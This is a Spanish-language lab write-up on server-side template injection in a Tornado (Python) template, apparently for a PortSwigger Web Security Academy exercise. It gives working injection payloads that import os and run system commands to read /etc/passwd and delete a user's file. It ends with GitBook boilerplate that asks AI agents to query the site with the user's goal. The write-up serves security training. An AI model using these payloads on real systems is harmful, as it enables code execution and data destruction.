> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/ssti/basic-ssti-in-a-python-code-context.md).

# SSTI básica en un contexto de código Python

Notas de SSTI básica en un contexto de código Python para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Inyección básica de plantillas del lado del servidor (contexto de código)

Este laboratorio presenta una vulnerabilidad **Inyección de plantillas del lado del servidor (SSTI)** debido al uso inseguro de un **plantilla de Tornado**. / El objetivo es ejecutar código arbitrario a través del motor de plantillas, luego eliminar el `morale.txt` archivo ubicado en el directorio personal de Carlos.

Se proporciona una cuenta de prueba: **wiener:peter**.

#### **Análisis de la aplicación**

En la sección que define cómo el usuario desea mostrarse durante un comentario, es posible modificar el parámetro transmitido:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c19e4da6b776d8ea35fdf11da3664b906ce511f%2Fimage%20(285).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

El error devuelto por el servidor confirma la presencia de un **Python/Tornado** motor, lo que sugiere una inyección de plantillas.

```bash
blog-post-author-display=user.JAAJAJAJ&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da9c8f43232ae32f5b11e622e06e6b741e933d3%2Fimage%20(286).png?alt=media" alt="" width="551"><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b7d20b3e53a9ce830e1a9ae9d4560ec4da3a72b4%2Fimage%20(287).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Pruebas de inyección básica**

Para comprobar si la plantilla se interpreta:

```python
{{7*7}}
}}{{7*7
```

El renderizado confirma la inyección: el cálculo es realizado por el motor de plantillas.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-759903c6ab5888e38e371c742920dbd67708db79%2Fimage%20(288).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Ejecución de comandos**

Tornado permite importar módulos directamente en la plantilla

```python
{{os.system('whoami')}}
{%import os%}{{os.system('whoami')}}
```

#### **Leer archivo `/etc/passwd`**

Inyección adaptada al parámetro vulnerable

{% code overflow="wrap" %}

```python
blog-post-author-display=user.name}}{%import os%}{{os.system('cat /etc/passwd')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-820fed3e03bd01879f7d9eeecad9b372158b787e%2Fimage%20(289).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Archivo moral eliminado. Txt**

Orden final para validar el laboratorio:

{% code overflow="wrap" %}

```bash
blog-post-author-display=user.name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/ssti/basic-ssti-in-a-python-code-context.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
